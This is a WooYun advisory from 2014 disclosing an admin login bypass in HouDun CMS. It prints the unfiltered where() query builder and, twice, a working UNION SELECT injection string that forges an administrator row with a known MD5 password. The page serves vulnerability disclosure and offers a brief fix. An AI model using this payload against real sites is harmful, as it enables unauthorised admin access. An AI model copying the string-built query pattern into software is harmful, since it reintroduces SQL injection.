当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-067049

漏洞标题:后盾CMS管理系统后台登陆绕过

相关厂商:后盾CMS

漏洞作者: noob

提交时间:2014-07-06 13:21

修复时间:2014-08-20 13:22

公开时间:2014-08-20 13:22

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-06: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-08-20: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

没过滤参数导致构建万能密码

详细说明:

判断登陆逻辑:
先查询用户名是否存在,如果存在就拿password+ db中的code字段做MD5处理与db password比较
在查询用户是否存在的时候没有过滤参数,导致可以SQL注入
Db.class.php where方法没有过滤:

/**
* SQL查询条件
* @param mixed $opt 链式操作中的WHERE参数
* @return string
*/
public function where($opt)
{
$where = '';
if (empty($opt)) {
return false;
} else if (is_numeric($opt)) {
$where .= ' ' . $this->opt['pri'] . "=$opt ";
} else if (is_string($opt)) {
$where .= " $opt ";
} else if (is_numeric(key($opt)) && is_numeric(current($opt))) {
$where .= ' ' . $this->opt['pri'] . ' IN(' . implode(',', $opt) . ')';
} else if (is_array($opt)) {
foreach ($opt as $k => $v) {
if (method_exists($this, $k)) {
$this->$k($v);
} else if (is_array($v)) {
foreach ($v as $n => $m) {
if (isset($this->condition[$n])) {
$where .= " $k" . $this->condition[$n] . (is_numeric($m) ? $m : "'$m'");
} else if (in_array(strtoupper($m), array("OR", "AND"))) {
if (preg_match('@(OR|AND)\s*$@i', $where)) {
$where = substr($where, 0, -4);
}
$where .= strtoupper($m) . ' ';
} else {
if (is_numeric($m)) {
$where .= " $k in(" . implode(',', $v) . ") ";
} else {
$where .= " $k in('" . implode("','", $v) . "') ";
}
break;
}
if (!preg_match('@(or|and)\s*$@i', $where)) {
$where .= ' AND ';
}
}
if (!preg_match('@(or|and)\s*$@i', $where)) {
$where .= ' AND ';
}
} else {
if (is_numeric($k) && in_array(strtoupper($v), array('OR', 'AND'))) {
if (preg_match('@(or|and)\s*$@i', $where)) {
$where = substr($where, 0, -4);
}
$where .= strtoupper($v) . ' ';
} else if (is_numeric($k) && is_string($v)) {
$where .= $v . ' AND ';
} else if (is_string($k)) {
$where .= (is_numeric($v) ? " $k=$v " : " $k='$v' ") . ' AND ';
}
}
}
}
$where = trim($where);
if (!empty($where)) {
if (empty($this->opt['where'])) {
$this->opt['where'] = " WHERE $where";
} elseif (!preg_match('@^\s*(or|and)@i', $where)) {
$this->opt['where'] .= ' AND ' . $where;
}
}
$this->opt['where'] = preg_replace('@(or|and)\s*$@i', '', $this->opt['where']);
}


绕过登陆SQL:

' UNION SELECT 1,'admin','admin','6512bd43d9caa6e02c990b0a82652dca',1,'[email protected]','1',1,1,1,1,1,0,1,1,1,0,1,1,'','admin',0,'',1,'超级管理员','超级管理员',1,1,10000,1,1 LIMIT 1-- 
6512bd43d9caa6e02c990b0a82652dca 是md5(11)的值

漏洞证明:

判断登陆逻辑:
先查询用户名是否存在,如果存在就拿password+ db中的code字段做MD5处理与db password比较
在查询用户是否存在的时候没有过滤参数,导致可以SQL注入
Db.class.php where方法没有过滤:

/**
* SQL查询条件
* @param mixed $opt 链式操作中的WHERE参数
* @return string
*/
public function where($opt)
{
$where = '';
if (empty($opt)) {
return false;
} else if (is_numeric($opt)) {
$where .= ' ' . $this->opt['pri'] . "=$opt ";
} else if (is_string($opt)) {
$where .= " $opt ";
} else if (is_numeric(key($opt)) && is_numeric(current($opt))) {
$where .= ' ' . $this->opt['pri'] . ' IN(' . implode(',', $opt) . ')';
} else if (is_array($opt)) {
foreach ($opt as $k => $v) {
if (method_exists($this, $k)) {
$this->$k($v);
} else if (is_array($v)) {
foreach ($v as $n => $m) {
if (isset($this->condition[$n])) {
$where .= " $k" . $this->condition[$n] . (is_numeric($m) ? $m : "'$m'");
} else if (in_array(strtoupper($m), array("OR", "AND"))) {
if (preg_match('@(OR|AND)\s*$@i', $where)) {
$where = substr($where, 0, -4);
}
$where .= strtoupper($m) . ' ';
} else {
if (is_numeric($m)) {
$where .= " $k in(" . implode(',', $v) . ") ";
} else {
$where .= " $k in('" . implode("','", $v) . "') ";
}
break;
}
if (!preg_match('@(or|and)\s*$@i', $where)) {
$where .= ' AND ';
}
}
if (!preg_match('@(or|and)\s*$@i', $where)) {
$where .= ' AND ';
}
} else {
if (is_numeric($k) && in_array(strtoupper($v), array('OR', 'AND'))) {
if (preg_match('@(or|and)\s*$@i', $where)) {
$where = substr($where, 0, -4);
}
$where .= strtoupper($v) . ' ';
} else if (is_numeric($k) && is_string($v)) {
$where .= $v . ' AND ';
} else if (is_string($k)) {
$where .= (is_numeric($v) ? " $k=$v " : " $k='$v' ") . ' AND ';
}
}
}
}
$where = trim($where);
if (!empty($where)) {
if (empty($this->opt['where'])) {
$this->opt['where'] = " WHERE $where";
} elseif (!preg_match('@^\s*(or|and)@i', $where)) {
$this->opt['where'] .= ' AND ' . $where;
}
}
$this->opt['where'] = preg_replace('@(or|and)\s*$@i', '', $this->opt['where']);
}


绕过登陆SQL:

' UNION SELECT 1,'admin','admin','6512bd43d9caa6e02c990b0a82652dca',1,'[email protected]','1',1,1,1,1,1,0,1,1,1,0,1,1,'','admin',0,'',1,'超级管理员','超级管理员',1,1,10000,1,1 LIMIT 1-- 
6512bd43d9caa6e02c990b0a82652dca 是md5(11)的值


login.png

login2.png

修复方案:

针对where方法过滤

版权声明:转载请注明来源 noob@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝